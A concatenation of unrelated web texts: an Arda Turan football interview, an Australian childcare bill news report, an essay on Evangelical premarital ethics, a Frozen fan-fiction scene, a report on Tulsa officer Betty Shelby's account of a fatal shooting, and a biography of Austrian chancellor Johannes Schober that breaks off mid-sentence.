during his years at Atletico Madrid. He is still a great friend of ours and we are very grateful for the part he played in the club’s success. However, we have never been a club reliant on individuals, we have moved on to adapt and have worked hard to ensure we are still successful. We might not have Tigre now but we have David Villa and he is also one of the world’s top strikers. Turan and Atletico have hardly seemed to miss former star Radamel Falcao - at least on the pitch. How would you describe Diego Costa as a player? Aside from the goals he has scored this season, Diego Costa is a player who never forgets the values of the team and the methods Cholo has maintained at the club. He is a fighter who always tries to do everything to the best of his ability for the team. To be honest, I think he is already a world star because it is not easy to score over 20 goals in one of the world’s top leagues. He has huge potential and it’s a privilege to share the pitch with him. You played down Ronaldo’s flank against Real Madrid in the 1-0 win at the Bernabeu. How tough is it for a midfielder to track his runs? Obviously Ronaldo is one of the best players in the world with great ability and you have to always respect that. However, I have always believed that on the pitch, everybody is equal. Ronaldo is human, and I have never been afraid of any player that I have played against. If you prepare yourself in the right way, and study the opposition in as much detail as possible, it can make your job of tracking top players a whole lot easier. Every player in La Liga is a top player and that’s why it's one of the best leagues in the world. How far can Atletico go in the Champions League? Since Cholo arrived we always refrained from making bold statements about our ambitions. Obviously our intentions are always to win, and for us, every match we play is a final whether it’s in the Champions League or La Liga. We are proud to be playing in the Champions League again and it’s a great time for the club. We will take every game as it comes, approach it with the mentality of a final and see what happens. This doesn’t mean that we don’t have big ambitions - I can assure you we do - but we prefer to keep them to ourselves [laughs]. Senang rasanya mendengar jika masyarakat menyukai janggut saya -Lagipula, saya kan bukan pemain paling tampan dalam dunia sepakbola. - Arda Turan Last time Atletico won the league you were just nine years old. What were you doing back then? As a nine-year-old I was a huge Galatasaray fan, of course. I was following them and dreaming of playing for them like any other child would while still playing football in the streets. I’m hoping that now, at the age of 27, I can play a role in helping Atletico Madrid win a league title again after so many years. Can Atletico Madrid win La Liga? Like I said before, every match is a final for us. Every match in the league is a game we must try to win. We take every match as it comes and try to win it, then when we get to the end of the season we will look and see how far it has taken us. You’ve been a regular for the Turkish national team since you were 19. Do you feel like one of the senior players now, helping your younger team-mates? I do feel like one of the more experienced players in the national side. I have played for the Turkey team for many years now and we have achieved some great things. We missed out on the play-offs for the World Cup and we were all very sad about that, but we have to look to the future. For me personally, I believe I have one more chance to play in a World Cup, even though I will be over 30 by 2018. Of course, I try to help the younger players and we have a lot of potential coming through. Is it true you're a Liverpool fan? I've always played for teams in red [Galatasaray, Manisaspor, Turkey] and I've always admired Steven Gerrard. So yes, I have a soft spot for Liverpool, especially given their history and the atmosphere at Anfield. Finally: why the beard? A lot of people are very envious... [Laughs] It's nice to hear people admire the beard, but I just like to have fun from time to time. And I'm not the best-looking guy in the football world! -Childcare changes: Nick Xenophon Team blocks Federal Government's omnibus bill Updated The Nick Xenophon Team has announced it will not support the Federal Government's package of changes to child care and welfare benefits. Last week the Coalition introduced a so-called omnibus bill to try to force nearly $4 billion in savings through the Parliament. The bill included increases to childcare subsidies, and cuts to family tax benefits and paid parental leave. Yesterday, Treasurer Scott Morrison put pressure on the crossbench to support the bill, announcing the Government would redirect $3 billion to the National Disability Insurance Scheme (NDIS) if the legislation passed. "As a negotiating tactic, this is as subtle as a sledgehammer," Senator Xenophon said. "Pitting battling Australians against Australians needing disability support services is dumb policy and even dumber politics." The South Australian said while his team of three senators and one Lower House MP were supportive of the increases in the childcare subsidies, it should not come at the expense of cutting family tax benefits and paid parental leave. Without the support of the three Nick Xenophon Team senators from South Australia, the bill now needs the support of the Greens to pass the Upper House — something that appears unlikely. The Greens do not yet have an official position on the proposal, but have opposed many of the measures in the past. Labor's Caucus will officially consider the bill today, after launching repeated attacks on its merits. Tasmanian senator Jacqui Lambie hit out at the bill on last night's Q&A program, "I can tell you what they can go and do with their omnibus, they can stick it where it fits," she said. "This is very cheeky about rolling all [the measures], because they're never going to get it through." Disability groups concerned Disabled People's Organisations Australia chief executive Therese Sands said she did not support funding the NDIS through cuts to other social services. "We are shocked and troubled about this announcement from Treasurer Scott Morrison that once again links cuts to social security with funding for the NDIS," Ms Sands said. "We have stated clearly, including in our pre-budget submission, that we reject any ties to funding the NDIS by cutting social security. "We strongly reject measures that would seek to fill any perceived or potential shortfall in NDIS funding through a shift in revenue from other human services." She called for politicians to stop treating the NDIS like a "political football". "Trading off essential and vital disability support with cuts is a false economy that will hurt many people with disability and is simply not on — completely unfair — and goes no way to ensure the long term sustainability of the NDIS, which the Government says is the intention," Ms Sands said. Government 'needs to rethink their tactics' The country's largest childcare provider, Goodstart Early Learning, has urged the Government to change its tactics to get the long-awaited changes to the sector through Parliament. Advocacy manager John Cherry said the plan to boost childcare subsidies should be considered by the Senate as a standalone bill, instead of being linked to cuts to other welfare payments. "The early childhood sector has always thought the childcare reforms should stand [on] its own merits, it will pay for itself because working mums pay more in tax than they receive in childcare assistance so certainly if we end up with a standalone vote on a standalone bill that will be good from our perspective," Mr Cherry said. "The Government has been trying a particular tactical approach with the Senate and now they'll need to rethink their tactics. "We're certainly hopeful that the legislation can be considered in that last sitting fortnight in March because we really do need a good period of at least 12 months to ensure we can implement this reform come July 2018." Topics: welfare, community-and-society, government-and-politics, political-parties, law-crime-and-justice, laws, australia First posted -One of the more vexing issues facing Evangelical pastors today is premarital sexual ethics. Simply put, we pastors are not quite certain how to counsel singles and teens regarding appropriate boundaries. Of course, we clearly teach that sexual intercourse should be reserved for marriage. But beyond this, there is no consensus among Evangelical clergy about where the boundaries should be drawn. Instead we tend to push the burden of this question back onto singles. One pastor typifies the counsel regularly given by Evangelical clergy: You may want me to tell you, in much more detail, exactly what’s right for you when it comes to secular boundaries [in dating relationships]. But in the end, you have to stand before God. That’s why you must set your own boundaries according to His direction for your life . . . . I want you to build your own list of sexual standards (Jeremy Clark, I Gave Dating a Chance , 108-09 ) . But do we really mean to say that Christian singles should “build their own list of sexual standards?” Presumably the intent here is to respect the judgment and conscience of couples. But our laissez-faire approach isn’t helping. In fact, there is every reason to suspect that our lack of clear direction is putting singles in a precarious position. The September/October 2011 edition of Relevant magazine includes a remarkable article, “(Almost) Everyone’s Doing It.” In it, Tyler Charles draws upon data gathered by the National Campaign to Prevent Teen and Unwanted Pregnancy and informs us that forty-two percent of Evangelical singles between the ages of eighteen and twenty-nine are currently in a sexual relationship, twenty-two percent have had sex in the past year, and an additional ten percent have had sex at least once. Assuming the accuracy of Charles’ data, this means only twenty percent of young Evangelical singles have remained abstinent. I’m inclined to think that pastors must bear much of the burden here. We’ve told Christian singles that it’s fine to prepare the meal and set the table, just so long as they don’t finish what they’ve started. Beyond this lack of clarity regarding objective boundaries, Evangelicals also typically lack the theological resources that undergird chastity. Too often our articulation of sexual ethics sounds like we’re reading items off of a grocery list”bananas, milk, cereal; no adultery, no fornication, no incest. It often amounts to little more than an arbitrary list of “do”s and (mostly) “don’t”s that lacks any unified rationale. It is precisely at this point that Evangelicals need to construct a theology of sexual relations that informs the question of premarital sexual boundaries. Thankfully, we need not start from scratch. John Paul II, in his Theology of the Body , pushes back against the Cartesian depersonalization of the body and rightly presses home the point that man does not simply have a body, but in a certain sense is a body. Thus sex, in as much as it is the union of the male and female bodies, is properly (and theologically) understood as a form of personal communion”a “gift of self.” When a man pursues a woman sexually what he desires (even if he does not realize it) is not simply the surrendering of her body to him as a material object, but rather her personal openness to receive him as a gift. In sex the man offers himself to the woman as a gift, and he finds his joy in her opening herself to receive him as the gift he offers of himself. And she, for her part, finds her joy in yielding herself to another before whom she is vulnerable, who seeks her joy in the giving of himself, who uses his strength to bless rather than totalize. And in this way she too is gift to him, for she gives herself as gift to him in that she opens within herself a place for him to dwell, trusting and receiving the man’s gift of self, and returning it in like kind. And mostMost significantly, this mutual giving and receiving of the self results in new life”a child, an expression of personal communion so profound that it actually has the power to instantiate the imago Dei . All of this makes a good deal of sense when one considers the bridal typology deployed by St. Paul in his letter to the Ephesians. Here the Apostle frames up for us a view of sex and marriage whereby they are not ends in themselves, but rather are types of something higher, pointing to the deeper reality of the believer’s life giving “one spirit” union with Christ. Just as the sacrifice of the Passover Lamb in the Old Testament foreshadowed Christ’s atoning sacrifice in the New, so too the mutual self-giving and joyful receiving of spousal love, “refers to Christ and the Church” (Ephesians 5:32). Christ offers himself as gift to us in offering of his body (both on the cross, and in the supper); and we give ourselves as gift to Christ in the free surrender of ourselves to him, that we might joyfully receive him as gift. Most significantly, he himself is the gift of grace that we receive, and we ourselves are the gift of faith that we give to Christ. We find our joy in opening to him and making room for him to dwell within us, and he finds his joy in placing himself”his life via his Holy Spirit”inside of us, and being joyfully received by us. And this free exchange of selves, whereby the church becomes one with Christ, and Christ becomes one with the church, is, as every baptism attests, inevitably a life-producing union. Our sexual conduct should be patterned after the way in which Christ and the church relate spiritually. The prohibitions against homosexuality, polygamy, incest, prostitution, fornication, bestiality”indeed all forms of porneia ”find their ultimate explanation against the backdrop of this reality. It is within this Christocentric framework that we can begin to think constructively about premarital sexual activity. In as much as God has ordained sex as a means of foreshadowing the one-spirit relationship between Christ and the church, we misuse our sexuality when we express it outside the context of the marriage relationship. Premarital sexual activity therefore, must be assessed in light of this fundamental context of meaning. Given the theological import of sexual relations, it is difficult (if not impossible) to justify any amount of sexual activity outside the context of the marriage relationship, even if that sexual activity stops well short of intercourse. The man who uses his sexuality (even in minor ways) in a premarital relationship fails to use his sexuality in a way consistent with his calling as a Christian. Gerald Hiestand is Senior Associate Pastor of Calvary Memorial Church, and the Executive Director of the Society for the Advancement of Ecclesial Theology. His latest book (co-authored with Jay Thomas) is Sex, Dating, and Relationships: A Fresh Approach (Crossway, 2012). Become a fan of First Things on Facebook , subscribe to First Things via RSS , and follow First Things on Twitter . -"Ow! I don't know why this is important!" "Shut yer trap, hoe! We're here." Glowering, Anna took in the facade of the store her friend had dragged her to. Unremarkable, the building had a vaguely old-style look, and seemed to be made of stone. It was kinda pretty, in its drab glory, even she'd admit that. Still, she'd been (literally!) dragged here, and for some arsed reason, her best friend Merida kept raving about the place. Merida scrambled up the steps beside her, arms windmilling to keep her balance and forward momentum. Opening the door first, Anna squinted into the darkened room, noting nothing but display cases and racks of- "Anna! That's a Czechoslovakian-era uniform!" Merida scrambled around, eyeing everything around her like a kid in a literal candy store. If candy were canvas painted olive drab, and the kid was a 6' redhead touching everything, bouncing from display to display, eventually disappearing behind a row of nondescript army jackets, with a huge sigh of content. Anna huffed and looked around at the displays of- "Dice! Holy shit, they're so cute!" Anna tuned out her ex-also-best-friend, and looked at the distracted woman padding in from the back. She was gorgeous! Hair like woven gold and stainless steel, a forehead that she could see herself slobbering on, brows that made her want to trace them out, eyes that-holy shit, her eyes! Deep pools of ice water, that Anna thought for an instant that she'd have looked into for hours, and still feel like needing to look more. Was she saying something? With a small smile, the stranger dipped her head in a gesture of greeting and respect, and somehow sat down on a chair that... oh. She'd actually moved, during that second of Anna's eyeing her like a piece of meat, or candy, or something. Gulping, the suddenly shy girl realised that she probably looked all kinds of awkward. "Hi," she stammered hesitatingly, "I'm with her." She pointed at Merida, who was still gasping loudly, reaching out shyly, to touch all the things. The girl behind the counter (Oh, there's a counter!) smiled softly, eyeing the two women in the small space. Her voice was so quiet, Anna almost had to say something, but then her mind filled in what she thought she'd heard. "I'm Elsa." And now she was blushing, and feeling like a child that's asked if they want to tell someone right in front of them something. Someone intimidatingly gorgeous. Her mouth was dry, and she was just starting to eliminate the weirdest sounding pickup lines in her head, when- "Oh, Anna! Look at this!" Anna blinked, and gazed over at her energetic friend, who was currently wearing a pink and grey bomber hat backwards. She didn't have the heart to tell Merida that she looked stupid, and that she should just stick to her normal style. Which was well represented by the black combat boots beside her. "Oh, I had it backwards. Okay, this look good?" Bursting with energy, Merida's eyes were glazed over in a look that reminded Anna of an O face, stretched out over 10 minutes of hyperventilating awe. As her friend's hands passed almost seductively over the poms of the hat, Anna bit back the bile she wanted to paint this whole store with, but the alarmingly cute girl behind her wouldn't like that. She smiled, and muttered some noncommittal grunt of pleasure, and turned back to the cutie before her. Elsa was hunched over an obvious spreadsheet, entering and reentering a number on her calculator, wincing slightly. She then turned her eyes back up to face the newcomer's, and smiled openly. I want to make her smile like that again, Anna suddenly realised, and the realisation of what she was headed for shocked her into action. No stopping it now. "Um, this is going to sound weird, since I'm a stranger, and you're adorable, and I'm not trying to be weird, but this is really awkward, and my name's Anna, and you look so delicious, I wanna eat you up, and this is weird, and I'm a creep..." Anna racked her brain for something intelligent to say, oblivious to the arch in Elsa's (UH-MAY-ZING!) brow. "Would-would you like to go out with-" "Anna! Look at this!" Merida's voice rattled her, and the two girls jumped simultaneously. Looking over, Anna saw that the ball of frizzy energy known as her friend was already ignoring her, and palming the flight helmet she ooh'd and ahh'd over like a lover. Even though she groaned, Anna was happy for the intrusion on her childish ramble, and then Elsa looked at her again. Elsa. Looked. At. Her. Again. With wide eyes, Anna thought furiously, and settled on one thing to say. "Would you like to go to that restaurant," she jammed her thumb at the window, obviously referring to the famous (famous!) restaurant (it's perfect!) across the street, "sometime? With me?" And now she was blushing. She wished the shadows would hide it, but Anna was no fool. The smirking goddess across from her knew exactly what she was thinking. "Yes," Elsa replied, "I'd like that." -Tulsa police officer Betty Shelby, identified as the officer who shot 40-year-old Terence Crutcher on Friday night, has offered her side of the story in the fatal encounter. In dashcam and helicopter video released by police, Crutcher appears to have his hands up moments before he is shot by Shelby. Shelby's attorney, Scott Wood, maintains that Crutcher refused to follow more than two dozen commands and that he reached into the open window of the car before Shelby perceived a threat and shot him. The Crutcher family's attorneys Benjamin L. Crump and Damario Solomon-Simmons said the window was up, evidenced by the blood spattered on it when he was shot. The Department of Justice is investigating Shelby's use of force. Here is Shelby's side of the story, according to her attorney and the police department. Shelby Was Responding to a Different Incident At about 7:36 p.m. Friday, dispatchers received a 911 call about an abandoned SUV in the middle of a street, with the driver's door open and the engine still running, Tulsa Police Chief Chuck Jordan said Monday. The caller said a man was running from the vehicle, saying it was "going to blow." Shelby and another officer were on their way to a domestic violence call when she came across the SUV, Jordan said. On her way to that call, Shelby saw Crutcher standing in the middle of the road, looking down at the ground, Wood said, adding that she would have stopped and checked up on him had she not been on the other call. She then saw the SUV parked in the middle of the street, obstructing traffic in both directions, Wood said. The engine was running when she got there, which she found odd because she assumed it was either disabled or broken down, he said. The Encounter Started More Than a Minute Before What Is Shown on the Released Video Wood said "it's important to remember" that Shelby was on the scene with Crutcher for about a minute and a half before the start of the video clip released by police on Monday. When Shelby approached the car, the doors were closed, and the windows were open, Wood said. She looked into the passenger's side to make sure no one was on the floor of the car, and as she was getting ready to move to the driver's side, she turned around and saw Crutcher walking toward her, Wood said. Wood said that Shelby then said to Crutcher, "Hey, is this your car?" Crutcher didn't respond, simply dropping his head while continuing to look at Shelby, "kind of under his brow," Wood said. Crutcher then began to put his hand into his left pocket, Wood said, adding that Shelby told Crutcher, "Hey, please keep your hands out of your pocket while you're talking to me. Let's deal with his car." Crutcher did not respond, Wood said, so Shelby ordered him again to get his hand out of his pocket. He then pulled his hand away and put his hands up in the air, even though he was not instructed to do so, which Shelby found strange, Wood said. Shelby tried to get Crutcher to talk to her, but he simply mumbled something unintelligible and stared at her, Wood said. He then turned and walked to the edge of the roadway and turned to look at her, his hands still in the air, Wood said. He put his hands down and started to reach into his pocket again, Wood said, and she ordered him again to get his hands out of his pocket. At this point, Shelby, a drug recognition expert, believed Crutcher was "on something," Wood said, possibly PCP. Shelby then radioed in that she had a subject "who is not following commands." "You can kind of hear a degree of stress in her voice when she says that," Wood said. Shelby then pulled out her gun and had Crutcher at gunpoint as she commanded him to get on his knees, Wood said. She pulled out a gun instead of a Taser because she thought he had a weapon, and she was planning to arrest him for being intoxicated in public and possibly obstructing the investigation, Wood said. Shelby ordered Crutcher to stop multiple times as Crutcher walked toward the SUV with his hands up, Wood said. But those orders cannot be heard in the audio from the dashcam video, which starts as another patrol car pulls up to the scene, showing Crutcher walking toward the SUV with his hands up as Shelby follows him, apparently with her weapon drawn and pointing at Crutcher. -Johannes "Johann" Schober (born November 14, 1874 in Perg; died August 19, 1932 in Baden bei Wien) was an Austrian jurist, law enforcement official, and politician. Schober was appointed Vienna Chief of Police in 1918 and became the founding president of Interpol in 1923, holding both positions until his death. He served as the chancellor of Austria from June 1921 to May 1922 and again from September 1929 to September 1930. He also served ten stints as an acting minister, variously leading the ministries of education, finance, commerce, foreign affairs, justice, and the interior, sometimes just for a few days or weeks at a time. Although Schober was elected to the National Council as the leader of a loose coalition of Greater German People's Party and Landbund near the end of his career, he never formally joined any political party. Schober remains the only chancellor in Austrian history with no official ideological affiliation. Early life [ edit ] Johannes Schober was born on November 14, 1874 in Perg, Upper Austria. Schober was the tenth child of Franz Schober, a senior civil servant and veteran of Radetzky's Italian campaigns, and Klara Schober, née Lehmann, a smallholder's daughter. On his father's side, the family came from money and prestige; Schober's paternal grandfather had been a physician. As was common among Catholic Austrians who were upper middle class but not quite upper crust, Schober's parents combined an ethos of obedience to Church and State with a broad pan-German streak and a strong attachment to their rural homeland with an appreciation for the humanities and the arts. The education they imparted on young Johannes appears to have emphasized hard work, piety, and patriotism. The boy showed considerable academic aptitude during his years in the local elementary school and was thus groomed for university education from an early age. He attended the gymnasium in Linz and the Vincentinum, a Catholic boys' boarding school. Even though he had to work as a private tutor to pay his way, his grades were excellent. In 1894, having completed his secondary education, Schober enrolled at the University of Vienna to read law. A great lover of music, he joined the Academic Choral Society (German: Akademischer Gesangverein), a type of Burschenschaft. Career [ edit ] Service in the Empire [ edit ] Johannes Schober, ca. 1900 In 1898, Schober left the university and joined the Rudolfsheim police inspectorate as an apprentice clerk (Konzeptspraktikant). He had completed his studies but had either not taken or not passed the complete set of graduation exams. He left, accordingly, not with a doctorate but an absolutorium. Being nothing but a glorified certificate of attendance, the absolutorium did not qualify its holder to receive the post-graduate education necessary to become a lawyer in private practice, a prosecutor, or a judge. Even so, it technically made its holder a person of academic rank. As such, it was good enough to permit admission into higher civil service. In particular, it qualified Schober to receive post-graduate training for the position of lawyer in police service (Polizeijurist). By 1900, Schober had completed his training with distinction and was assigned to the prestigious Innere Stadt inspectorate. Schober had been induced to join the police by one of his favorite operas, the Evangelimann, a play based on the 1892 autobiography of a Viennese detective inspector. Because Schober was fluent not just in German and French but also in English, he was put in charge of protecting Edward VII during Edward's summer holidays in Marienbad. His proximity to the British monarch for six consecutive summers appears to have been the basis for the friendly relations to the English-speaking world that Schober was noted for later in life. The assignment also seems to have been a boost for his career. He was promoted to a position in the Ministry of the Interior proper, where he was involved in watching over the Emperor and the Imperial Family – protecting them, but also keeping them under surveillance. Effective March 1, 1913, at the relatively young age of 38, Schober was made one of the heads of the Office of State Security (Staatspolizei). When World War I broke out a little over a year later, Schober thus found himself one of the chiefs of Austrian counter-intelligence operations. He became noted for his lenient disposition. When Edmund von Gayer, the Vienna Chief of Police, was made Minister of the Interior in June 1918, Schober was appointed his successor. Schober also received the honorary title of Hofrat on the occasion. Chief of Police [ edit ] Karl Renner presided over the peaceful transition from monarchy to republic, successful in part due to Schober's ready assistance During the chaos days of the collapse of the Empire in late 1918, Schober's tact and resourcefulness played a crucial role in maintaining peace and public order in Vienna. Following the proclamation of the Republic of German-Austria on November 12, Schober placed his forces at the disposal of the provisional government but also secured the safety of the Imperial Family, whose departure from Vienna he supervised. Leaders of multiple major parties – especially Social Democrats, and Karl Renner in particular – declared themselves grateful. On November 30, the provisional government confirmed Schober in his position as the Vienna Chief of Police. On December 3, he was put in charge of public safety (öffentliche Sicherheit) in the rest of the country as well. Austria's Communists, even though they envisioned the establishment of a soviet republic instead of the parliamentary system that Austria was headed for, had been largely peaceful during the critical months between October 1918 and February 1919. The Social Democrats had pursued, with apparent success, a strategy of absorbing and assimilating them; the provisional Austrian army had absorbed and assimilated their party militia. No Communist Party had run in the February 1919 Constituent Assembly elections. In March, however, Béla Kun's establishment of the Hungarian Soviet Republic encouraged parts of the Communist leadership to try to seize power by force. Protests with thousands of participants were orchestrated, some of them ending in clashes of protesters with police. A confrontation on April 17 killed 5 police and a female civilian. A further 36 police and 30 civilians were injured, many of them severely. The protesters set fire to the parliament building. The harsh positions taken by the victorious Allies in the Paris Peace Conference, especially the reparations payments they were preparing to impose, heightened the tensions. The Communists began preparing a mass protest for June 15, urging their supporters to carry arms and hoping to turn the march into an insurrection. A conference of party leaders on June 14 was meant to finalize marching orders. Informed of these plans, Schober petitioned the government to disallow the protest. When the government declined, Schober had security police raid the conference and arrest all 122 participants. The next day, a demonstration demanding the release of the prisoners precipitated a bloody street fight that left 12 protesters dead and 80 seriously injured. Schober's crackdown earned him the trust of the political right. He was now considered "a tough law-and-order man." Abortive bid for the chancellorship [ edit ] The fourteen parties in Austria's Constituent Assembly had radically different visions regarding the constitutional, territorial, and economic future of their demoralized, impoverished rump state. The government, a grand coalition of Social Democrats and Christian Social Party, found itself blocked at every turn by party leaders' unwillingness to compromise. No other alliance would have commanded the support of a stable parliamentary majority. Austrians began to warm to the idea of a "cabinet of civil servants" ("Beamtenkabinett"), a government of senior career bureaucrats who would be loyal to the State and not to any particular ideological camp. The Habsburg Empire had consciously cultivated an ethos of partisan neutrality in its civil servants. A pool of highly educated middle-aged administrators who counted sober professionalism as an important aspect of their self-image stood ready to be tapped. When the grand coalition fell apart in June 1920, Schober looked like the man of the hour to many. He was known to be close to the pan-German cause but still considered nonpartisan. Ignaz Seipel, chairman of the Christian Social Party, was reluctant to assume the chancellorship because of the difficult decisions and general hardship he knew still lay ahead; he wanted someone else to do the dirty work. Schober was respected across party divides for his competence and effectiveness. He also enjoyed a reputation for personal integrity, an important point in a country sick of corruption and nepotism. All but unanimously, the new National Council invited Schober to draw up a list of ministers. When Schober chose Josef Redlich as his minister of finance, a post that Redlich had already held for a short while during the final days of the collapsing Empire, the Greater German People's Party vetoed Redlich on the grounds that Redlich was Jewish. Schober bowed out. Michael Mayr became chancellor in his stead. First government [ edit ] Mayr's term as a chancellor lasted less than a year. The Republic of German-Austria had been proclaimed with the understanding that it would eventually join the German Reich, a vision shared by a clear majority of its population at the time. The treaties of Versailles and Saint-Germain prohibited a union of the two countries, but unification remained popular. Several provincial governments hatched plans to break away from Austria and join Germany on their own; preparations for local referendums were made. Mayr ordered the would-be defectors to cease and desist but was ignored. Having lost its authority, the second Mayr government resigned on June 1, 1921. Schober was asked to step up, agreed, and became Chancellor of Austria on June 21. The cabinet was supported by a coalition of Christian Social Party and Greater German People's Party, but eight of its eleven members were independents. The Christian Socials Walter Breisky and Carl Vaugoin served as the vice chancellor and the minister of the army, respectively; the People's Party's Leopold Waber served as the minister of education and the interior. The remaining seven ministers were, like Schober himself, veteran civil servants with no overt party affiliation. In addition to holding the chair, Schober led the Ministry of Foreign Affairs, although only in an acting capacity (mit der Leitung betraut) and not as an actual minister. The main problems facing Schober's cabinet were Austria's galloping inflation and the country's unresolved relationship with Czechoslovakia. Austria depended on its neighbor to the north for food and coal – food and coal it was increasingly unable to afford. Austria needed credit, not just for essential consumables but also in order to restructure. No loans would be forthcoming, however, as long as the Allies could not be thoroughly certain that Austria would obey the provisions of the Treaty of Saint-Germain. Prague was still worried about a possible Austrian attempt to join Germany and also about a possible Austrian attempt to restore the Habsburgs to power; amicable relations with Czechoslovakia would go a long way towards reassuring Austria's potential creditors. On December 16, Chancellor Schober and President Michael Hainisch signed the Treaty of Lana, promising to honor the Treaty of Saint-Germain, to refrain from interfering in Czechoslovak internal affairs, and to remain neutral in the event on an attack on Czechoslovakia by a third party. Their counterparts, Tomáš Masaryk and Edvard Beneš, made equivalent promises in return. They also promised to put in a good word for Austria in London and Paris and, in fact, committed to a generous loan themselves. From the point of view of Schober, the treaty was a great success. Austria had given away nothing that had not long been lost already, and the symbolic gesture had been handsomely rewarded. From the point of view of the People's Party, the treaty was tantamount to treason. Austria had further reduced its chances of ever joining Germany and had sold out the Sudeten Germans to boot. On January 16, the People's Party representative in Schober's cabinet, Waber, resigned his post; Schober and Breisky took over as acting ministers of the interior and of education, respectively. Unable to govern without the support of the People's Party, Schober ultimately stepped down himself on January 26. Breisky was appointed his successor. Second government [ edit ] Schober's resignation ended the coalition and therefore relieved the People's Party of its contractual obligation to side with the cabinet in the National Council, i.e. to support the ratification of the Treaty of Lana. The treaty was ratified with the votes of Christian Socials and Social Democrats. Having been able to vote in opposition, the People's Party was partially appeased and was ready to resume support for the Schober government, who in any case was still the only plausible contender. Schober resumed the chancellorship on January 27. Breisky had been in office for barely twenty-four hours. Breisky went back to being vice chancellor. Schober returned as acting minister of the interior, although not as acting minister of foreign affairs. Reluctant support in the National Council nonwithstanding, the nationalists never forgave Schober for the Treaty of Lana. While Schober continued to fight Austria's crippling financial problems and otherwise focused on foreign policy, Seipel, still the chairman of the Christian Social Party, decided that the time had come for him to take over. In April, Schober left the country to participate in the crucial Genoa Conference. His opponents used his absence to orchestrate his replacement. In May, already on his way home, Schober learned that the Christian Socials had withdrawn their support his cabinet. Schober resigned on May 24; he agreed to stay on in a caretaker capacity until the first Seipel government could be sworn in on May 31. Return to law enforcement [ edit ] Ousted as chancellor, Schober resumed his duties as the Vienna Chief of Police and the man in charge of Austrian public safety. He undertook to modernize the force, to expand its capacities, and to intensify international cooperation. In 1923, Schober convened the Second International Police Congress and took the initiative in creating Interpol. He personally assumed the role of Interpol's founding president. Schober otherwise focused on centralizing the Austrian police corps' command structure and on strengthening traffic police, criminal police, the intelligence network, and the force's internal welfare program. He also worked to reduce to influence of Social Democrats on the force. July Revolt [ edit ] The events of July 15 contributed to the rise of the Heimwehr movement and thus to Austria's eventual fall from democracy On January 30, 1927, members of the Frontkämpfer militia opened fire on an unarmed and unsuspecting crowd of Social Democrats in an ambush attack in the small town of Schattendorf, killing two and wounding five others. The Frontkämpfer were a right-wing vigilante group of war veterans, originally founded by disgruntled officers but also recruiting among the enlisted. Their stated aims were "uniting all Aryan front-line fighters" ("Vereinigung aller arischen Frontkämpfer"), "nurturing the love for the homeland" ("Pflege der Liebe zur Heimat"), fighting leftists, and suppressing Jews. Their membership numbered in the thousands; a rally in 1920 appears to have attracted some sixty thousand sympathizers. The group's main activity was assaulting Social Democrats and Communists and disrupting their meetings. In 1927, the group was in the process of being assimilated into the Nazi Party, a process that would be completed by 1929. The killings caused considerable outrage. The shooting had been a surprise attack from a concealed position. One of the slain was a disabled veteran and father. The other dead body was that of a young child, the only child of an impoverished family. Tensions between the parties rose so high as to completely paralyze the National Council. All useful work having ground to a halt, the legislature voted to dissolve itself and called for early elections. The Frontkämpfer had killed Social Democrats before, but the resulting trials had usually ended in acquittals or conspicuously lenient sentences. The Social Democrats now announced that they had had enough; their opponents in turn accused them of trying to exert undue pressure on the judiciary. On July 14, the two Frontkämpfer charged with the shooting where acquitted. Workers and other Social Democrats in Vienna reacted with spontaneous strikes and protests. Party leadership was hesitant to stoke the flames but lost control. The police appeared disorganized and overwhelmed. Skirmishes ensued. Unfounded rumors accused the police of murdering protesters, the protesters of lynching police. Around noon on July 15, an angry mob cordoned off the Palace of Justice and set fire to the building, then prevented the fire brigade from moving in. Fearing for the lives of those trapped inside the Palace, police decided to disperse the mob by shooting their rifles – mainly into the air, but also into the crowd. At the end of the day, 4 police and 85 protesters were dead; some 600 police had been injured. The number of injured civilians was difficult to ascertain because many avoided seeking medical assistance for fear of prosecution. Hospitals reported that 328 had been admitted for inpatient treatment; the total number of civilians hurt was 548 according to the authorities and 1057 according to the Arbeiter-Zeitung. Although Schober had been mostly uninvolved in the events of July 15, the Social Democrats laid the blame for the loss of life squarely at his door. The Arbeiter-Zeitung called him a "bloodhound" ("Bluthund") and a "murderer of workers" ("Arbeitermörder"). Schober became a deeply controversial figure for the rest of his life and for decades beyond. Noted public intellectuals such as Karl Kraus, an eminent writer and erstwhile admirer of Schober's, joined the attacks. Kraus accused Schober of "fecklessness, deceitfulness, and abuse of power" and called for Schober to resign. He launched a poster campaign and railed against Schober in a 1928 stage play, The Insurmountables (Die Unüberwindlichen). In what has been called a "crusade" by commentators, Kraus would make Schober his prime target until the day Schober died. Schober, who sincerely believed that he had always treated the Social Democrats with fairness and whose skin was thinner than his reputation suggested, experienced the attacks as vicious and appears to have been genuinely hurt. He was elated when Karl Seitz, a leading Social Democrat and the Mayor of Vienna, extended a personal apology in 1929. Third government [ edit ] Chancellor Schober in The Hague, January 1930 In spite of the successful integration of Austria into the international community that Schober – and later Seipel – achieved, the country's economic situation continued to deteriorate. The currency collapsed into hyperinflation. Inflation was brought under control through a currency reform, but the foreign creditors funding this reform demanded a course of strict austerity that made most Austrians even poorer. Unemployment was high, unemployment benefits and pensions were inadequate. In fact, even Austrians in stable formal employment had trouble meeting basic needs. Partisan strife also continued to worsen. Inspired by the apparent successes of Fascist movements abroad, frustrated by the Austrian democracy's inability to put the nation back on track, and distressed by the July Revolt, an increasing number of Austrians on the political right believed that the country's elites in general, and its parliamentary system in particular, needed to be swept away. A strongman was called for to end the infighting, shut down the Social Democrats, and put the Jews in their place. A system of thought developed that combined Fascism, Catholic clericalism, and the Antisemitism traditionally endemic in large parts of the Austrian political right. The resulting Austrofascist Heimwehr movement was loosely affiliated with the Christian Social Party; it had the support of much of the party's core constituencies and of many, although not all, of the party's leaders. By 1929, the Heimwehr had become a serious danger to Austrian democracy. It demanded that Austria's parliamentary democracy be replaced with a presidential system and threatened insurrection should the government refuse. The threats were credible. The Streeruwitz government, a coalition of Christian Social Party, People's Party, and the agrarian Landbund, engaged the Heimwehr in negotiations regarding constitutional reform. Heimwehr, government, and Social Democrats were close to a compromise when, in late September, Heimwehr and Christian Social Party brought down Streeruwitz anyway. Seipel was still leading the Christian Social Party but once again had no desire to step up and assume responsibility himself. As he had done in 1921, Seipel chose to install Schober instead. The third Schober government was sworn in on September 26. Like Schober's previous two cabinets, it consisted mainly of political independents. Schober's picks included Michael Hainisch and Theodor Innitzer. A former president of Austria and a noted professor of theology, respectively, Hainisch and Innitzer enjoyed wide name recognition and broad respect with the general public. Schober himself became acting minister 